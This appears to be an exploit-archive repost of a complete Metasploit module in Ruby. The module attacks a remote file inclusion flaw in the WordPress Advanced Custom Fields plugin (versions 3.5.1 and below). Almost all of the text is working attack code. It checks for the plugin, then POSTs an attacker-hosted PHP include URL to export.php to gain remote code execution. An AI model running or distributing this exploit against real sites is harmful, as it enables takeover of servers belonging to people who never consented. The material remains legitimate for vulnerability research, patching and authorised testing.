WordPress Advanced Custom Fields Remote File Inclusion

[DarkLegion]

This Metasploit module exploits a remote file inclusion flaw in the WordPress blogging software plugin known as Advanced Custom Fields. The vulnerability allows for remote file inclusion and remote code execution via the export.php script. The Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only works when the php option allow_url_include is set to On (Default Off).

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
      'Description'    => %q{
          This module exploits a remote file inclusion flaw in the WordPress blogging
        software plugin known as Advanced Custom Fields. The vulnerability allows for remote
        file inclusion and remote code execution via the export.php script. The Advanced
        Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
        works when the php option allow_url_include is set to On (Default Off).
      },
      'Author'         =>
        [
          'Charlie Eriksen <charlie@ceriksen.com>',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '87353'],
          ['URL', 'http://secunia.com/advisories/51037/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Nov 14 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
        OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
      ], self.class)
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    uri << datastore['PLUGINSPATH']
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{uri}advanced-custom-fields/core/api.php"
    })

    if res and res.code == 200
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def php_exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    uri << datastore['PLUGINSPATH']
    uri << '/' if uri[-1,1] != '/'

    print_status('Sending request')
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{uri}advanced-custom-fields/core/actions/export.php",
      'data'   => "acf_abspath=#{php_include_url}"
    })

    if res and res.body =~ /allow_url_include/
      fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
    elsif res.code != 200
      fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

  end

end

SURSA